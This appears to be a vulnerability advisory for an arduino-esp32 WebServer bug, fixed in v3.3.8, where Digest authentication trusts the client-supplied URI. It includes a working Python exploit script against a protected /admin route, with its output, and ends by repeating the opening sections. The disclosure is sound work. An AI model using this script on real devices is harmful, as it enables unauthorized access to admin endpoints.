Summary
The WebServer Digest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client's Authorization header, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control.
Affected component
- Repository:
espressif/arduino-esp32
- File:
libraries/WebServer/src/WebServer.cpp, lines 199–263
- Versions: all releases up to and including 3.3.7
Root cause
RFC 7616 (HTTP Digest Authentication) requires that the server verify the uri field in the Authorization header matches the request URI before accepting the response. The arduino-esp32 implementation computes:
HA2 = MD5(method : uri_from_auth_header)
response = MD5(HA1 : nonce : HA2)
The uri used for HA2 comes from the client-supplied Authorization header field, not from the HTTP request line. The server never checks whether they match. This means a digest response valid for /api/public will also pass validation for /admin, because only the client-supplied uri value is used in the hash.
Relevant code in WebServer.cpp:
// Lines 199-263: _uri is taken from Authorization header
_uri = auth_params["uri"];
// HA2 computed using _uri (attacker-controlled), not the actual request URI
String HA2 = md5str(String(_server.method() == HTTP_GET ? "GET" : "POST")
+ ":" + _uri);
// _currentUri (the real request URI) is never compared to _uri
Proof of Concept
Victim firmware: Any Arduino-ESP32 sketch with a Digest-protected endpoint,
e.g.:
server.on("/admin", []() {
if (!server.authenticate("admin", "secret123")) {
server.requestAuthentication(DIGEST_AUTH, "ESP32", "Login");
return;
}
server.send(200, "text/html", "<h1>ADMIN SECRET</h1>");
});
server.on("/api/public", []() {
server.send(200, "text/plain", "public OK");
});
Attacker script (exploit_digest_bypass.py):
import socket, hashlib, re
target = "192.168.4.1"
username = "admin"
password = "secret123" # valid credentials for any URI
# Step 1 — get 401 challenge from /admin
s = socket.socket(); s.connect((target, 80))
s.send(b"GET /admin HTTP/1.1\r\nHost: " + target.encode() + b"\r\nConnection: close\r\n\r\n")
resp = s.recv(4096).decode(); s.close()
realm = re.search(r'realm="([^"]+)"', resp).group(1)
nonce = re.search(r'nonce="([^"]+)"', resp).group(1)
# Step 2 — compute digest with WRONG URI (the bypass)
fake_uri = "/api/public" # compute HA2 for this
real_uri = "/admin" # but send request to this
HA1 = hashlib.md5(f"{username}:{realm}:{password}".encode()).hexdigest()
HA2 = hashlib.md5(f"GET:{fake_uri}".encode()).hexdigest()
response_hash = hashlib.md5(f"{HA1}:{nonce}:{HA2}".encode()).hexdigest()
# Step 3 — send GET /admin with Authorization for /api/public
auth = (f'Digest username="{username}", realm="{realm}", nonce="{nonce}", '
f'uri="{fake_uri}", response="{response_hash}"')
req = (f"GET {real_uri} HTTP/1.1\r\nHost: {target}\r\n"
f"Authorization: {auth}\r\nConnection: close\r\n\r\n")
s = socket.socket(); s.connect((target, 80))
s.send(req.encode())
print(s.recv(4096).decode()); s.close()
Result on ESP32-D0WD-V3 rev3.1 (arduino-esp32 v3.3.7):
Attacker side (server returned 200 on /admin with digest for /api/public):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 22
<h1>ADMIN SECRET</h1>
ESP32 serial log:
New client connected
GET /admin HTTP/1.1 -> 401 Unauthorized
GET /admin HTTP/1.1 -> 200 OK <- bypass successful!
The digest computed for /api/public was accepted as valid for /admin. URI mismatch was not detected.
Impact
An attacker who can obtain any valid Digest response for one URI (by observing network traffic, or by computing one using known credentials for a low-privilege endpoint) can replay it to access any other protected URI on the same ESP32 server without recomputing the digest for the target URI.
In multi-endpoint deployments where some routes are public and some are admin-only, this allows escalation from no access to full admin access.
Fix
Fixed in PR #12486 (commit bb86048), released in arduino-esp32 v3.3.8 (2026-04-12). The fix compares the uri field from the Authorization header against the actual request URI and rejects mismatches:
// WebServer.cpp — fix in bb86048
if (_uri != _currentUri) {
log_w("Digest URI mismatch: auth=%s, request=%s",
_uri.c_str(), _currentUri.c_str());
goto exf; // reject — auth URI doesn't match request URI
}
Timeline
- 2026-03-27: Vulnerability reported to bugbounty@espressif.com with encrypted attachment
- 2026-04-01: Fix merged in PR #12486 (commit bb86048)
- 2026-04-12: Fix released in arduino-esp32 v3.3.8
- 2026-04-13: Espressif confirmed fix and requested advisory submission
- 2026-04-22: Reporter submitted GHSA
Summary
The
WebServerDigest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client'sAuthorizationheader, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control.Affected component
espressif/arduino-esp32libraries/WebServer/src/WebServer.cpp, lines 199–263Root cause
RFC 7616 (HTTP Digest Authentication) requires that the server verify the
urifield in the Authorization header matches the request URI before accepting the response. The arduino-esp32 implementation computes:HA2 = MD5(method : uri_from_auth_header)
response = MD5(HA1 : nonce : HA2)
The
uriused for HA2 comes from the client-supplied Authorization header field, not from the HTTP request line. The server never checks whether they match. This means a digest response valid for/api/publicwill also pass validation for/admin, because only the client-suppliedurivalue is used in the hash.Relevant code in
WebServer.cpp: